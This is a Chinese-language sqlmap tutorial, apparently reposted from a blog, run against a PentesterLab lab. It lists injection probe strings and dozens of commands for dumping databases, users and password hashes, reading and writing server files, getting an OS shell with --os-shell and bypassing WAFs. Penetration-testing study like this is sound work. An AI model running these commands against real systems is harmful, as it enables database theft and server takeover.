sqlmap使用


sqlmap介紹和使用一

 

sqlmap介紹:

           sqlmap開源的滲透測試工具,可以自動檢測和利用sql注入缺陷,基於python編寫,建議下載2.7或者2.8版本的python直接在命令行中調用解釋器運行。

測試環境:

           vmare搭建靶場pentesterlab   使用python +  sqlmap進行測試

sql注入原理:

           當客戶端提交的數據未作處理或轉義直接帶入數據庫,就可能造成sql注入,攻擊者通過直接構造不同的sql語句來實現對數據庫的任意操作。

sql注入的分類:

         按變量類型分:數字型和字符型

         按照HTTP提交方式分:POST注入、GET注入和Cookie注入

        按注入方式分:布爾注入、聯合注入、多語句注入、報錯注入、延時注入、內聯注入

SQL注入基本手工注入流程:     

   判斷注入點:

         數字型:id=2-1
   字符型:' 、')、 '))、 "、 ")、"))
   注釋符:-- (這是--空格)、--+、/**/、#

一、sqlmap使用:

        (1)查看sqlmap版本信息      python sqlmap.py  --version
          (2)查看sqlmap的幫助信息   python sqlmap.py  --help
二、 sqlmap直連數據庫:
         (1)服務型數據or關系型數據庫,(用戶名:root 密碼:123456)
                python  sqlmap.py   -d  "mysql://root:123456@xxxx.xxxx.xxxx.xxxx:3306/testdb" -f --banner --dbs --users
         (2)文件型數據庫(前提條件:數據庫的絕對路徑)
                DBMS://DATABSE_FILEPATH(SQLite,ACCESS,等等)
         (3)sqlmap 針對單一的url探測,參數使用-u
             python  sqlmap.py  -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --banner

三、 提高sqlmap 探測速度的方法
       (1)持久連接  sqlmap  -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --current-db  --keep-alive
         (2)  多線程   sqlmap   -u  "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --dbs  --thread 10

四、 指定數據庫類型
          (1)  sqlmap  -u   "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --current-db
        (2)sqlmap  -u “http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --dbms  mysql [版本號] --current-db      

五、 指定os后端操作系統 linux  windows
       (1)sqlmap  -u   “http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --dbms  mysql  --os windows --current-db

六、 指定寬字節注入(tamper="unmagicquotes.py")
       (1)sqlmap  -u     "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --dbms  mysql  --dbs --thread 10 --tamper="unmagicquotes.py"  -v 3 --batch

八、  強制設置無效值替換  --invalid -bignum,強制使用大整數來實現相同的目標(如id=88888).
       (1)python     sqlmap.py  -u  "http://192.168.52.130/sqlinjection/example7/?id=1"  --invalid-bignum --current-db -v 3
         強制使用布爾操作來實現相同的目標 --invalid-logical (如id =1 and  1=2)
         (1)  python     sqlmap.py  -u  "http://192.168.52.130/sqlinjection/example7/?id=1"  --invalid-logical   --current-db -v 3
         強制使用隨機字符串來實現相同的目標 --invalid-string(如id=abcde)
         (1)  python     sqlmap.py  -u  "http://192.168.52.130/sqlinjection/example7/?id=1"  --invalid-string   --current-db -v 3

九、 sqlmap設置自定義檢測參數
          指定要執行的測試等級的參數,一共五個層次  --level, 探測等級5,
          --risk 平台危險等級3,一共3個等級,都是最高級別。當level=2時,會測試cookie注入。當level=3時,會測試user-agent/referer注入
        (1)python  sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --level=3 --tamper=base64encode --current-db
          (2)  python  sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --level=5 --risk=3  --tamper=base64encode --current-db

十、 sqlmap設置具體sql注入技術
        --techbnique 參數用來設置具體sql 注入技術。
           B:Boolean-based blind  基於布爾的盲注
           E:Error-based 報錯注入
           U:Union query-based Unbion查詢注入
           S:Stacked queries  堆疊注入
           T:Timed-based blind   時間的盲注
           Q:lnline queries   內聯查詢注入
          (1)  python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4 --technique B --dbs
          (2)  python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4 --technique BS --dbs

 十一、sqlmap設置時間盲注延遲時間,設置秒來延遲響應(DBMS延時)--time-sec選項
          (1) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4  --technique  T
          (2) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4  --technique  T  --time-sec 3
                                  
十二、sqlmap設置union字段數,默認情況下,sqlmap測試使用1到10列的union查詢sql注入技術,但是通過提供更高--level值,可以將此范圍增加到50列
          手動方法為工具提供選--union-cols后跟一些列整數,如12-16表示使用12到16個列對union查詢sql注入進行測試
          (1) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4  --technique U  union-cols 12-18   
          (2) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 3  --technique U --union-char 123
          (3) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4  --technique U --union-char 1 --union-cols 12-18  
十三、sqlmap 檢索DBMS Banner
        (1)python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --technique  U  --banner  -v 3
          sqlmap  檢索DBMS當前用戶      
        (1)python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --technique  U  --current-user  -v  3
          sqlmap  檢索當前數據庫
        (1)python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --technique  U  --current-db  -v  3
          sqlmap  檢索當前數據庫主機名  --hostname
        (1)python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --technique  U  --hostname  -v  3
          sqlmap  檢索當前用戶是否是DBA  --is-dba           
        (1)python   sqlmap.py   -u    "http://192.168.52.130/sqlinjection/example7/?id=1"    --is-dba
          sqlmap 枚舉DBMS用戶
        (1)python   sqlmap.py   -u    "http://192.168.52.130/sqlinjection/example7/?id=1"    --technique  BU  --users
          sqlmap枚舉DBMS用戶密碼
        (1) python   sqlmap.py   -u    "http://192.168.52.130/sqlinjection/example7/?id=1"   --technique  BU  --password
          sqlmap 枚舉DBMS權限
        (1) python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example7/?id=1"   --role
          (2)   python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  --privileges

 

sqlmap的介紹和使用二

 

十四、sqlmap 列舉數據庫名  --dbs

        (1)python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  --dbs  
          sqlmap 枚舉數據庫表   
                --tables枚舉表名  -->指定具體數據庫 -D 數據庫名(security)
                --exclude-sysdbs(排除系統數據庫)

        (1)python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  --tables
          (2)   python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  -D  security  --tables
        (3)python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  --tables   --exclude-sysdbs

          sqlmap  枚舉數據表列
                  --columns  -D 指定數據庫  -T指定數據表  -C 指定具體字段
        (1)python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  --columns
        (2)python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  -D sqlinjection  -T  users   --columns  
        (3)python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  -D sqlinjection  -T  users   --columns  -C
         sqlmap 枚舉數據值
        (1) python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  -D sqlinjection  -T  users   -C  "custom" --dump

十五、sqlmap枚舉schema信息--schema,列表將包含所有數據庫、表和列,以及他們的類型
       (1)python   sqlmap.py   -u  "http://192.168.52.130/sqlinjection/example7/?id=1" --schema --exclude-sysdbs
          sqlmap檢索數據表數量 --count-D(庫名)
       (1)python   sqlmap.py   -u  "http://192.168.52.130/sqlinjection/example7/?id=1" --count -D   test
          sqlmap獲取數據信息
          --start,--start,--first,--last
          --start 1 --stop 3 獲取第二到第三表的名字
          --stop 1  獲取第一張表的名字
          --first 3 --last  5 獲取從第三到第五個字符
      (1)python   sqlmap.py   -u  "http://192.168.52.130/sqlinjection/example7/?id=1"  -D  sqlinjection  --start  1  --stop  3  
      (2)python   sqlmap.py   -u  "http://192.168.52.130/sqlinjection/example7/?id=1"  -D  sqlinjection  --tables  --start  1  --stop 3  

          sqlmap設置條件獲取信息  --pivot-column=id  設置獨當一無二的列  
                                                --where=“id>3”設置條件
                                                --T (表名)
      (1)python   sqlmap.py  -u "http://192.168.52.130/sqlinjection/example7/?id=1"   -T  users  --pivot-column id --columns
      (2)python   sqlmap.py  -u "http://192.168.52.130/sqlinjection/example7/?id=1"   -D  sqlinjection  -T  users  --where="id>2"  
        (3)   python   sqlmap.py  -u "http://192.168.52.130/sqlinjection/example7/?id=1"   -D  sqlinjection  -T  users  -C  "username"  --where="id>2"

         sqlmap 枚舉數據值   --dump
         (1)  python   sqlmap.py  -u "http://192.168.186.128/sqli/example1.php?name=root"   -D  sqlinjection  -T  users  -C  "username"  --dump

十六、 sqlmap暴力破解數據
            使用場景mysql<5.0時,mysql中沒有元數據庫information_schema
                                              --common-tables
                                              --common-columns
 
 十七、sqlmap讀取文件
            --file-read 路徑 讀取對應文件內容,注意:此處的路徑為絕對路徑
               (1)    sqlmap  -u  "http://192.168.186.128/sqli/example4.php?id=2"   --file-read="F:\\flag.txt"
            --file-write  讀取本地文件
            --file-dest   將讀取的文件寫入到遠程絕對路徑
             (1) sqlmap  -u  "http://192.168.186.128/sqli/example4.php?id=2"   --file-write="F:\\flag.txt"   --file-dest="F:\\flag.txt"
           sqlamap檢索所有信息 -a 或 --all
            (1)sqlmap  -u  "http://192.168.186.128/sqli/example4.php?id=2"   -a
十八、 sqlmap執行系統命令--os-shell
            (1)sqlmap  -u  "http://192.168.186.128/sqli/example4.php?id=2"   --os-shell
十九、sqlmap設置盲注字符集
               --charset=
               在基於布爾和基於時間的sql盲注中,用戶可以強制使用自定義字符集來加速數據檢索過程
            (1)sqlmap  -u  "http://192.168.186.128/sqli/example4.php?id=2"  --charset=GBK -D test - T users  -C  "username"  --dump
          sqlmap爬取url
               sqlmap可以通過從目標位置開始收集鏈接(爬行)來收集潛在的脆弱鏈接,使用此選項,用戶可以設置一個深度,遞歸執行這個爬行過程,如果低於設置的深度,
               sqlmap不會進入收集階段
               --crawl
               --crawl-exclude 字符串,存在字符串的url不進行爬取
            (1)python  sqlmap.py  -u  "http://192.168.186.128/sqli/example4.php?id=2"  --batch--crawl=3
              sqlmap在csv輸出中使用的分隔字符
               當被轉儲的數據存儲到csv格式(--dump-format=CSV)時,條目必須用"分離值"分隔(默認值是,),如果用戶想要覆蓋它的默認值,他可以使用這個選項(例如--csv-del=";")
            (1)python  sqlmap.py   -u  "http://192.168.186.128/sqli/example4.php?id=2"  --csv-del=";" --batch  -v3  -D sqlinjection  -T users -C  username  --dump  --thread   10                
              sqlmap設置輸出格式
               當將存儲表數據存儲到輸出目錄中的相應文件中時,sqlmap支持三種不同的格式:CSV、HTML、SQLITE  
           (1)python   sqlmap.py   -u  "http://192.168.186.128/sqli/example4.php?id=2"    -v3 --batch  -D sqlinjection  -T users -C  username  --dump --dump-format="HTML"  --thread  10   

二十、sqlmap探測之前檢測internet連接,檢測當前計算機Internet連接是否正常,確保探測失敗不是因為網絡攔截問題
             --check-internet
           (1)   python   sqlmap.py   -u  "http://192.168.186.128/sqli/example4.php?id=2"   --check-internet  
             sqlmap解析和測試表單的輸入字段
             --form
            (1)python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2"  --form  -v 3   --thread  5  
              sqlmap設置預計完成時間
                實時計算和顯示估計的到達時間,檢索每個查詢輸出,檢索輸出的技術是任何sql盲注類型時,就會顯示這一點   注意:eta 和 -v 不兼容
            (1)python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2" --form --thread 10 --batch  -D test  -T users  -C "user"  --dump  --eta  --technique  T
              sqlmap刷新會話文件
                由於會話文件的概念,所以最好知道您可以使用選項flush-session刷新文件的內容,通過這種方式,您可以避免sqlmap中默認實現的緩存機制.其他可能的方法是手動刪除會話文件  
            (1)python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2" -D test  -T users  -C  "usernames"  --dump  --eta  --flush-session
              sqlmap忽略會話中存儲的結果
               使用選項--fresh-queries來忽略該文件的內容.通過這種方式,可以保持會話文件不變,對於所選的運行,避免恢復/恢復查詢輸出
           (1)   python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2" --dbs  --fresh-queries  
             sqlmap使用Hex函數檢索數據
                   非ascii數據的檢索需要特殊的需求.解決這個問題的一個方法是使用DBMS hex函數.數據在被檢索之前被編碼為十六進制形式,然后被編碼為原始形式
                   --hex
          (1) python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2" --hex -v 3  --batch
            sqlmap設置自定義輸出路徑
                   sqlamp默認講會話和結果文件存儲在子目錄輸出中。如果您想在不同的位置,可以使用這個選項(例如--out-dir=/tmp)
            (1)  python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2" --hex  --dump --batch  -v 3 --output-dir="///"  
            sqlmap從響應頁面解析錯誤
                  如果web應用程序配置為調試模式, 以便在響應中顯示后端數據庫管理系統錯誤消息,sqlmap可以解析並顯示他們.這對於調試很有用,
                  比如理解為什么某個枚舉或接管開關不起作用----這可能與會話用戶的特權有關
                  --parse-error
                 保存sqlmap配置文件  --save
                 可以將命令行選項保存到配置ini文件中,然后可以使用之前解釋的-c選項 編輯生成的文件並將其傳遞給sqlmap
                 更新sqlmap  --update  
          (1)python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2" -D  test  -T users  -C “users”--dump  --hex  -v3  --batch  --parse-errors  --flush-session

二十 一、sqlmap強制設置DBMS編碼
             --encoding="gbk"
            (1)  python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2"  --encoding="gbk"
              sqlmap存儲http流量到HAR
             --har="HARFILE"
              HAR(HTTP Archive),是一個用來存儲HTTP請求/響應信息的通用文件格式,基於JSON
            (1)  python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2" --dbs  --har="test_192.168.1.100.har"  
             sqlmap篩選具體playload
             --test-filter=“ROW”
             (1)   python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2"  --dbs  --test-filter="ROW"  --flush-session  -v 3  
           sqlmap過濾具體playload
             --test-skip=“BENCHMARK”
              (1)  python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2"  --dbs  --test-skip="BENCHMARK"  --flush-session  -v 3  
          sqlmap過濾具體playload
               針對proxy日志文件使用正則表達式刪選目標
              --scope="regex"        
 二十二、sqlmap 雜項參數縮寫
               例如: -z   flu:--flush-session
                                --bat:batch
                                --ban: banner
                               --tec=EC:technique=EU  ERROR UNION              
              (1) sqlmap  -u  "http://192.168.186.128/sqli/example4.php?id=2"  -z  ban,bat
              --alert 當發現sql注入時,運行主機系統命令
           (1)"http://192.168.186.128/sqli/example4.php?id=2"  --technique  U  --alert="ifconfig"  --flush-session
              --beep  當發現sql注入時,發出BB聲音
             (1)  sqlmap  -u  "http://192.168.186.128/sqli/example4.php?id=2"  --beep
             --cleanup   清除DBMS udf創建的數據表
             --dependencies  查看依賴項
           (1)sqlmap   --dependencies  
              sqlmap 不進行高亮顯示
              --disable-coloring  不進行高亮顯示
           (1)sqlmap  -u  "http://192.168.186.128/sqli/example4.php?id=2"  --disable-coloring
              查看是否有WAF保護
              --identify-waf
            (1)sqlmap  -u   "http://192.168.186.128/sqli/example4.php?id=2"  --identify-waf
              --mobile  使用手機端User-Agent
              (1)   sqlmap  -u   "http://192.168.186.128/sqli/example4.php?id=2"  -v 3  --mobile      
              --offline  僅適用session文件,不進行聯網探測
              --purge-output  清除output目錄下的文件
              (1)  sqlmap  --purge-output
              --skip-waf忽略waf、ips
              (1)  sqlmap  -u   "http://192.168.186.128/sqli/example4.php?id=2"   --skip-waf  
              --sqlmap-shell  使用sqlmap shell
              (1)  sqlmap  --sqlmap-shell
              --tmp-dir=TMPDIR  指定本地目錄用來存儲臨時文件
              --web--root=WEBROOT指定站點根目錄
              --wizard 使用向導式的sqlmap
              (1) sqlmap  --wizard
              --answer=ANSEWERS  設置問題答案 例如“quit=N,follow=N”
              --gpage=GOOLEPAGE 設置Google Dork的頁碼數
              --smart  智能探測
              有些情況下,用戶有大量的潛在目標url(例如,提供了選項-m),希望盡快找到一個脆弱的目標。
              如果使用--smart,將在掃描中進一步使用數據庫管理系統錯誤的參數,否則跳過他們。    

 
https://www.cnblogs.com/blowwind/p/11844016.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM